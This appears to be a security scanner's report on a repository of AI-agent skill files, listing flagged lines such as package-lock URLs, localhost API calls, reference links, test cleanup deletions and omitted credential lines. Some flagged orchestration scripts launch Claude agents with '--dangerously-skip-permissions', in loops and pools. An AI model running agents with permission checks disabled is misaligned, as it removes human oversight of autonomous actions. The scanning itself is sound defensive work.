  • Network accessline 1697
    "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
  • Network accessline 1701
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 1702
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 1703
    "url": "https://github.com/sponsors/ai"
  • Network accessline 1714
    "node_modules/node-releases": {       "version": "2.0.27",       "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz",
  • Network accessline 1715
    "version": "2.0.27",       "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz",       "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==",
  • Network accessline 1716
    "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz",
  • Network accessline 1721
    "node_modules/picocolors": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
  • Network accessline 1722
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",       "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
  • Network accessline 1723
    "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
  • Network accessline 1728
    "node_modules/picomatch": {       "version": "4.0.3",       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
  • Network accessline 1729
    "version": "4.0.3",       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",       "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
  • Network accessline 1730
    "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
  • Network accessline 1736
    },       "funding": {         "url": "https://github.com/sponsors/jonschlinkert"
  • Network accessline 1737
    "funding": {         "url": "https://github.com/sponsors/jonschlinkert"       }
  • Network accessline 1738
    "url": "https://github.com/sponsors/jonschlinkert"
  • Network accessline 1741
    "node_modules/postcss": {       "version": "8.5.6",       "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz",
  • Network accessline 1742
    "version": "8.5.6",       "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz",       "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==",
  • Network accessline 1743
    "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz",
  • Network accessline 1747
    {           "type": "opencollective",           "url": "https://opencollective.com/postcss/"
  • Network accessline 1748
    "type": "opencollective",           "url": "https://opencollective.com/postcss/"         },
  • Network accessline 1749
    "url": "https://opencollective.com/postcss/"
  • Network accessline 1751
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/postcss"
  • Network accessline 1752
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/postcss"         },
  • Network accessline 1753
    "url": "https://tidelift.com/funding/github/npm/postcss"
  • Network accessline 1755
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 1756
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 1757
    "url": "https://github.com/sponsors/ai"
  • Network accessline 1770
    "node_modules/react": {       "version": "19.2.3",       "resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz",
  • Network accessline 1771
    "version": "19.2.3",       "resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz",       "integrity": "sha512-Ku/hhYbVjOQnXDZFv2+RibmLFGwFdeeKHFcOTlrt7xplBnya5OGn/hIRDsqDiSUcfORsDC7MPxwork8jBwsIWA==",
  • Network accessline 1772
    "resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz",
  • Network accessline 1779
    "node_modules/react-dom": {       "version": "19.2.3",       "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.3.tgz",
  • Network accessline 1780
    "version": "19.2.3",       "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.3.tgz",       "integrity": "sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg==",
  • Network accessline 1781
    "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.3.tgz",
  • Network accessline 1791
    "node_modules/react-refresh": {       "version": "0.17.0",       "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz",
  • Network accessline 1792
    "version": "0.17.0",       "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz",       "integrity": "sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==",
  • Network accessline 1793
    "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz",
  • Network accessline 1801
    "node_modules/rollup": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.54.0.tgz",
  • Network accessline 1802
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.54.0.tgz",       "integrity": "sha512-3nk8Y3a9Ea8szgKhinMlGMhGMw89mqule3KWczxhIzqudyHdCIOHw8WJlj/r329fACjKLEh13ZSk7oE22kyeIw==",
  • Network accessline 1803
    "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.54.0.tgz",
  • Network accessline 1843
    "node_modules/scheduler": {       "version": "0.27.0",       "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz",
  • Network accessline 1844
    "version": "0.27.0",       "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz",       "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==",
  • Network accessline 1845
    "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz",
  • Network accessline 1849
    "node_modules/semver": {       "version": "6.3.1",       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
  • Network accessline 1850
    "version": "6.3.1",       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
  • Network accessline 1851
    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
  • Network accessline 1859
    "node_modules/source-map-js": {       "version": "1.2.1",       "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
  • Network accessline 1860
    "version": "1.2.1",       "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",       "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
  • Network accessline 1861
    "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
  • Network accessline 1869
    "node_modules/tinyglobby": {       "version": "0.2.15",       "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz",
  • Network accessline 1870
    "version": "0.2.15",       "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz",       "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==",
  • Network accessline 1871
    "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz",
  • Network accessline 1881
    },       "funding": {         "url": "https://github.com/sponsors/SuperchupuDev"
  • Network accessline 1882
    "funding": {         "url": "https://github.com/sponsors/SuperchupuDev"       }
  • Network accessline 1883
    "url": "https://github.com/sponsors/SuperchupuDev"
  • Network accessline 1886
    "node_modules/typescript": {       "version": "5.9.3",       "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
  • Network accessline 1887
    "version": "5.9.3",       "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",       "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==",
  • Network accessline 1888
    "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
  • Network accessline 1900
    "node_modules/update-browserslist-db": {       "version": "1.2.3",       "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz",
  • Network accessline 1901
    "version": "1.2.3",       "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz",       "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=
  • Network accessline 1902
    "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz",
  • Network accessline 1906
    {           "type": "opencollective",           "url": "https://opencollective.com/browserslist"
  • Network accessline 1907
    "type": "opencollective",           "url": "https://opencollective.com/browserslist"         },
  • Network accessline 1908
    "url": "https://opencollective.com/browserslist"
  • Network accessline 1910
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/browserslist"
  • Network accessline 1911
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/browserslist"         },
  • Network accessline 1912
    "url": "https://tidelift.com/funding/github/npm/browserslist"
  • Network accessline 1914
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 1915
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 1916
    "url": "https://github.com/sponsors/ai"
  • Network accessline 1931
    "node_modules/vite": {       "version": "6.4.1",       "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz",
  • Network accessline 1932
    "version": "6.4.1",       "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz",       "integrity": "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==",
  • Network accessline 1933
    "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz",
  • Network accessline 1950
    },       "funding": {         "url": "https://github.com/vitejs/vite?sponsor=1"
  • Network accessline 1951
    "funding": {         "url": "https://github.com/vitejs/vite?sponsor=1"       },
  • Network accessline 1952
    "url": "https://github.com/vitejs/vite?sponsor=1"
  • Network accessline 2006
    "node_modules/yallist": {       "version": "3.1.1",       "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
  • Network accessline 2007
    "version": "3.1.1",       "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",       "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
  • Network accessline 2008
    "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",

skills/loki-mode/examples/todo-app-generated/frontend/package.json

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/frontend/src/App.tsx

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/frontend/src/api/todos.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    export const fetchTodos = async (): Promise<Todo[]> => {   const response = await fetch(`${API_BASE}/todos`);
  • Network accessline 15
    const response = await fetch(`${API_BASE}/todos`);
  • Network accessline 22
    export const createTodo = async (title: string): Promise<Todo> => {   const response = await fetch(`${API_BASE}/todos`, {
  • Network accessline 23
    const response = await fetch(`${API_BASE}/todos`, {
  • Network accessline 36
    export const updateTodo = async (id: number, completed: boolean): Promise<Todo> => {   const response = await fetch(`${API_BASE}/todos/${id}`, {
  • Network accessline 37
    const response = await fetch(`${API_BASE}/todos/${id}`, {
  • Network accessline 50
    export const deleteTodo = async (id: number): Promise<void> => {   const response = await fetch(`${API_BASE}/todos/${id}`, {
  • Network accessline 51
    const response = await fetch(`${API_BASE}/todos/${id}`, {

skills/loki-mode/examples/todo-app-generated/frontend/src/components/ConfirmDialog.tsx

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/frontend/src/components/EmptyState.tsx

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/frontend/src/components/TodoForm.tsx

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/frontend/src/components/TodoItem.tsx

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/frontend/src/components/TodoList.tsx

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/frontend/src/hooks/useTodos.ts

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/frontend/src/main.tsx

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/frontend/src/vite-env.d.ts

  • Executable scriptline 1
    Executable file

skills/loki-mode/examples/todo-app-generated/frontend/vite.config.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    proxy: {       '/api': {         target: 'http://localhost:3001',
  • Network accessline 9
    '/api': {         target: 'http://localhost:3001',         changeOrigin: true
  • Network accessline 10
    target: 'http://localhost:3001',

skills/loki-mode/integrations/vibe-kanban.md

  • Network accessline 3
    Loki Mode can optionally integrate with [Vibe Kanban](https://github.com/BloopAI/vibe-kanban) to provide a visual dashboard for monitoring autonomous execution.

skills/loki-mode/references/advanced-patterns.md

  • Network accessline 447
    - [Multi-Agent Collaboration Mechanisms Survey](https://arxiv.org/abs/2501.06322)
  • Network accessline 448
    - [CONSENSAGENT: Anti-Sycophancy Framework](https://aclanthology.org/2025.findings-acl.1141/)
  • Network accessline 449
    - [GoalAct: Global Planning + Hierarchical Execution](https://arxiv.org/abs/2504.16563)
  • Network accessline 450
    - [A-Mem: Agentic Memory System](https://arxiv.org/html/2502.12110v11)
  • Network accessline 451
    - [Multi-Agent Reflexion (MAR)](https://arxiv.org/html/2512.20845)
  • Network accessline 452
    - [Iter-VF: Iterative Verification-First](https://arxiv.org/html/2511.21734v1)
  • Network accessline 453
    - [Awesome Agentic Patterns](https://github.com/nibzard/awesome-agentic-patterns)

skills/loki-mode/references/agent-types.md

  • Instruction override signalline 108
    # Option 1: Sequential (simple, reliable) for agent in frontend backend database; do   claude -p "Act as $agent agent..." --dangerously-skip-permissions
  • Instruction override signalline 109
    for agent in frontend backend database; do   claude -p "Act as $agent agent..." --dangerously-skip-permissions done
  • Instruction override signalline 110
    claude -p "Act as $agent agent..." --dangerously-skip-permissions
  • Instruction override signalline 115
    for i in {1..5}; do   tmux new-window -t loki-pool -n "agent-$i" \     "claude --dangerously-skip-permissions -p '$(cat .loki/prompts/agent-$i.md)'"
  • Instruction override signalline 116
    tmux new-window -t loki-pool -n "agent-$i"      "claude --dangerously-skip-permissions -p '$(cat .loki/prompts/agent-$i.md)'"
  • Instruction override signalline 117
    "claude --dangerously-skip-permissions -p '$(cat .loki/prompts/agent-$i.md)'"

skills/loki-mode/references/deployment.md

  • Network accessline 217
    },       "healthCheck": {         "command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"],
  • Network accessline 218
    "healthCheck": {         "command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"],         "interval": 30,
  • Network accessline 219
    "command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"],
  • Network accessline 534
    # Run smoke tests curl -f https://green.app.example.com/health
  • Network accessline 535
    curl -f https://green.app.example.com/health

skills/loki-mode/references/lab-research-patterns.md

  • Network accessline 517
    **Google DeepMind:** - [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/)
  • Network accessline 518
    - [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/)
  • Network accessline 519
    - [Gemini Robotics 1.5](https://deepmind.google/blog/gemini-robotics-15-brings-ai-agents-into-the-physical-world/)
  • Network accessline 520
    - [Dreamer 4: World Model Training](https://danijar.com/project/dreamer4/)
  • Network accessline 521
    - [Genie 3: World Models](https://deepmind.google/blog/genie-3-a-new-frontier-for-world-models/)
  • Network accessline 522
    - [Scalable AI Safety via Debate](https://deepmind.google/research/publications/34920/)
  • Network accessline 523
    - [Amplified Oversight](https://deepmindsafetyresearch.medium.com/human-ai-complementarity-a-goal-for-amplified-oversight-0ad8a44cae0a)
  • Network accessline 524
    - [Technical AGI Safety Approach](https://arxiv.org/html/2504.01849v1)
  • Network accessline 526
    **Anthropic:** - [Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback)
  • Network accessline 527
    - [Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback)
  • Network accessline 528
    - [Building Effective Agents](https://www.anthropic.com/research/building-effective-agents)
  • Network accessline 529
    - [Claude Code Best Practices](https://www.anthropic.com/engineering/claude-code-best-practices)
  • Network accessline 530
    - [Sleeper Agents Detection](https://www.anthropic.com/research/probes-catch-sleeper-agents)
  • Network accessline 531
    - [Alignment Faking](https://www.anthropic.com/research/alignment-faking)
  • Network accessline 532
    - [Visible Extended Thinking](https://www.anthropic.com/research/visible-extended-thinking)
  • Network accessline 533
    - [Computer Use Safety](https://www.anthropic.com/news/3-5-models-and-computer-use)
  • Network accessline 534
    - [Sabotage Evaluations](https://www.anthropic.com/research/sabotage-evaluations-for-frontier-models)

skills/loki-mode/references/openai-patterns.md

  • Network accessline 628
    **OpenAI Official:** - [Agents SDK Documentation](https://openai.github.io/openai-agents-python/)
  • Network accessline 629
    - [Agents SDK Documentation](https://openai.github.io/openai-agents-python/)
  • Network accessline 630
    - [Practical Guide to Building Agents](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf)
  • Network accessline 631
    - [Building Agents Track](https://developers.openai.com/tracks/building-agents/)
  • Network accessline 632
    - [AGENTS.md Specification](https://agents.md/)
  • Network accessline 634
    **Deep Research & Reasoning:** - [Introducing Deep Research](https://openai.com/index/introducing-deep-research/)
  • Network accessline 635
    - [Introducing Deep Research](https://openai.com/index/introducing-deep-research/)
  • Network accessline 636
    - [Deep Research System Card](https://cdn.openai.com/deep-research-system-card.pdf)
  • Network accessline 637
    - [Introducing o3 and o4-mini](https://openai.com/index/introducing-o3-and-o4-mini/)
  • Network accessline 638
    - [Reasoning Best Practices](https://platform.openai.com/docs/guides/reasoning-best-practices)
  • Network accessline 640
    **Safety & Monitoring:** - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/)
  • Network accessline 641
    - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/)
  • Network accessline 642
    - [Agent Builder Safety](https://platform.openai.com/docs/guides/agent-builder-safety)
  • Network accessline 643
    - [Computer-Using Agent](https://openai.com/index/computer-using-agent/)
  • Network accessline 645
    **Standards & Interoperability:** - [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/)
  • Network accessline 646
    - [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/)
  • Network accessline 647
    - [OpenAI for Developers 2025](https://developers.openai.com/blog/openai-for-developers-2025/)

skills/loki-mode/references/production-patterns.md

  • Network accessline 555
    **Hacker News Discussions:** - [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207)
  • Network accessline 556
    - [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207)
  • Network accessline 557
    - [Coding with LLMs in Summer 2025](https://news.ycombinator.com/item?id=44623953)
  • Network accessline 558
    - [Superpowers: How I'm Using Coding Agents](https://news.ycombinator.com/item?id=45547344)
  • Network accessline 559
    - [Claude Code Experience After Two Weeks](https://news.ycombinator.com/item?id=44596472)
  • Network accessline 560
    - [AI Agent Benchmarks Are Broken](https://news.ycombinator.com/item?id=44531697)
  • Network accessline 561
    - [How to Orchestrate Multi-Agent Workflows](https://news.ycombinator.com/item?id=45955997)
  • Network accessline 562
    - [Context Engineering vs Prompt Engineering](https://news.ycombinator.com/item?id=44427757)
  • Network accessline 564
    **Show HN Projects:** - [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226)
  • Network accessline 565
    - [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226)
  • Network accessline 566
    - [Package Manager for Agent Skills](https://news.ycombinator.com/item?id=46422264)
  • Network accessline 567
    - [Wispbit - AI Code Review Agent](https://news.ycombinator.com/item?id=44722603)
  • Network accessline 568
    - [Agtrace - Monitoring for AI Coding Agents](https://news.ycombinator.com/item?id=46425670)

skills/loki-mode/references/sdlc-phases.md

  • Network accessline 277
    npx k6 run tests/load.js npx lighthouse http://localhost:3000
  • Network accessline 278
    npx lighthouse http://localhost:3000
  • Network accessline 286
    npx axe http://localhost:3000

skills/loki-mode/references/tool-orchestration.md

  • Network accessline 131
    1. **Capture intent, not just actions** ([Hashrocket](https://hashrocket.substack.com/p/the-hidden-cost-of-well-fix-it-later))
  • Network accessline 134
    2. **Track recovery rate** ([Assessment Framework, arXiv 2512.12791](https://arxiv.org/html/2512.12791v1))
  • Network accessline 138
    3. **Distributed tracing** ([Maxim AI](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/))
  • Network accessline 142
    4. **Tool reliability separate from selection** ([Stanford/Harvard](https://www.marktechpost.com/2025/12/24/this-ai-paper-from-stanford-and-harvard-explains-why-most-agentic-ai-systems-feel-impressive-in-demos-and-then-completely-fall-apart
  • Network accessline 147
    5. **Quality pillars beyond outcomes** ([Assessment Framework](https://arxiv.org/html/2512.12791v1))
  • Network accessline 649
    Based on [Measurement Imbalance research (arXiv 2506.02064)](https://arxiv.org/abs/2506.02064):
  • Network accessline 666
    **OpenAI Agents SDK:** - [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) - Core primitives: agents, handoffs, guardrails, tracing
  • Network accessline 667
    - [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) - Core primitives: agents, handoffs, guardrails, tracing
  • Network accessline 668
    - [Practical Guide to Building Agents](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf) - Orchestration patterns
  • Network accessline 669
    - [Building Agents Track](https://developers.openai.com/tracks/building-agents/) - Official developer guide
  • Network accessline 670
    - [AGENTS.md Specification](https://agents.md/) - Standard for agent instructions
  • Network accessline 671
    - [Tracing Documentation](https://openai.github.io/openai-agents-python/tracing/) - Span types and observability
  • Network accessline 673
    **Efficiency & Orchestration:** - [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) - Multi-turn tool orchestration with RL
  • Network accessline 674
    - [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) - Multi-turn tool orchestration with RL
  • Network accessline 675
    - [ToolScale Dataset](https://huggingface.co/datasets/nvidia/ToolScale) - Training data synthesis
  • Network accessline 677
    **Evaluation Frameworks:** - [Assessment Framework for Agentic AI (arXiv 2512.12791)](https://arxiv.org/html/2512.12791v1) - Four-pillar evaluation model
  • Network accessline 678
    - [Assessment Framework for Agentic AI (arXiv 2512.12791)](https://arxiv.org/html/2512.12791v1) - Four-pillar evaluation model
  • Network accessline 679
    - [Measurement Imbalance in Agentic AI (arXiv 2506.02064)](https://arxiv.org/abs/2506.02064) - Multi-dimensional evaluation
  • Network accessline 680
    - [Adaptive Monitoring for Agentic AI (arXiv 2509.00115)](https://arxiv.org/abs/2509.00115) - AMDM algorithm
  • Network accessline 682
    **Best Practices:** - [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Simplicity, transparency, tool engineering
  • Network accessline 683
    - [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Simplicity, transparency, tool engineering
  • Network accessline 684
    - [Maxim AI: Production Multi-Agent Systems](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/) - Orchestration patterns, distributed tracing
  • Network accessline 685
    - [UiPath: Agent Builder Best Practices](https://www.uipath.com/blog/ai/agent-builder-best-practices) - Single-responsibility, evaluations
  • Network accessline 686
    - [Stanford/Harvard: Demo-to-Deployment Gap](https://www.marktechpost.com/2025/12/24/this-ai-paper-from-stanford-and-harvard-explains-why-most-agentic-ai-systems-feel-impressive-in-demos-and-then-completely-fall-apart-in-real-use/) - Tool r
  • Network accessline 688
    **Safety & Reasoning:** - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - CoT monitorability for safety
  • Network accessline 689
    - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - CoT monitorability for safety
  • Network accessline 690
    - [Agent Builder Safety](https://platform.openai.com/docs/guides/agent-builder-safety) - Human-in-loop patterns
  • Network accessline 691
    - [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/) - Industry standards (MCP, AGENTS.md, goose)

skills/loki-mode/scripts/export-to-vibe-kanban.sh

  • Executable scriptline 1
    #!/bin/bash

skills/loki-mode/scripts/loki-wrapper.sh

  • Executable scriptline 1
    #!/bin/bash
  • Instruction override signalline 197
    set +e         claude --dangerously-skip-permissions -p "$prompt" 2>&1 | tee -a "$LOG_FILE"
  • Instruction override signalline 198
    claude --dangerously-skip-permissions -p "$prompt" 2>&1 | tee -a "$LOG_FILE"
  • Network accessline 274
    if ! command -v claude &> /dev/null; then     log_error "Claude Code CLI not found. Please install it first."     log_info "Visit: https://claude.ai/code"
  • Network accessline 275
    log_error "Claude Code CLI not found. Please install it first."     log_info "Visit: https://claude.ai/code"     exit 1
  • Network accessline 276
    log_info "Visit: https://claude.ai/code"

skills/loki-mode/scripts/take-screenshots.js

  • Executable scriptline 1
    #!/usr/bin/env node

skills/loki-mode/tests/run-all-tests.sh

  • Executable scriptline 1
    #!/bin/bash

skills/loki-mode/tests/test-agent-timeout.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 23
    rm -rf "$TEST_DIR"

skills/loki-mode/tests/test-bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 24
    rm -rf "$TEST_DIR"

skills/loki-mode/tests/test-circuit-breaker.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 23
    rm -rf "$TEST_DIR"

skills/loki-mode/tests/test-state-recovery.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 23
    rm -rf "$TEST_DIR"

skills/loki-mode/tests/test-task-queue.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 24
    rm -rf "$TEST_DIR"

skills/loki-mode/tests/test-wrapper.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 24
    rm -rf "$TEST_DIR"
  • Access to secretsline 251
    [Credential-related source omitted]
  • Access to secretsline 252
    [Credential-related source omitted]
  • Access to secretsline 253
    [Credential-related source omitted]

skills/m365-agents-dotnet/SKILL.md

  • Network accessline 49
    "ClientId": "{{ClientId}}",         "ClientSecret": "{{ClientSecret}}",         "AuthorityEndpoint": "https://login.microsoftonline.com/{{TenantId}}",
  • Network accessline 50
    "ClientSecret": "{{ClientSecret}}",         "AuthorityEndpoint": "https://login.microsoftonline.com/{{TenantId}}",         "Scopes": [
  • Network accessline 51
    "AuthorityEndpoint": "https://login.microsoftonline.com/{{TenantId}}",
  • Network accessline 52
    "Scopes": [           "https://api.botframework.com/.default"         ]
  • Network accessline 53
    "https://api.botframework.com/.default"
  • Network accessline 113
    else {     app.Urls.Add("http://localhost:3978");
  • Network accessline 114
    {     app.Urls.Add("http://localhost:3978"); }
  • Network accessline 115
    app.Urls.Add("http://localhost:3978");
  • Network accessline 205
    .WithAuthority(AadAuthorityAudience.AzureAdMyOrg)                 .WithTenantId(_settings.TenantId)                 .WithRedirectUri("http://localhost")
  • Network accessline 206
    .WithTenantId(_settings.TenantId)                 .WithRedirectUri("http://localhost")                 .Build();
  • Network accessline 207
    .WithRedirectUri("http://localhost")
  • Network accessline 285
    | Resource | URL | | --- | --- | | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ |
  • Network accessline 286
    | --- | --- | | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ | | AddAgent API | https://learn.microsoft.com/en-us/dotnet/api/microsoft.agents.hosting.aspnetcore.servicecollectionextensions.addagent?
  • Network accessline 287
    | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ |
  • Network accessline 288
    | AddAgent API | https://learn.microsoft.com/en-us/dotnet/api/microsoft.agents.hosting.aspnetcore.servicecollectionextensions.addagent?view=m365-agents-sdk |
  • Network accessline 289
    | AgentApplication API | https://learn.microsoft.com/en-us/dotnet/api/microsoft.agents.builder.app.agentapplication?view=m365-agents-sdk |
  • Network accessline 290
    | Auth configuration options | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/microsoft-authentication-library-configuration-options |
  • Network accessline 291
    | Copilot Studio integration | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/integrate-with-mcs |
  • Network accessline 292
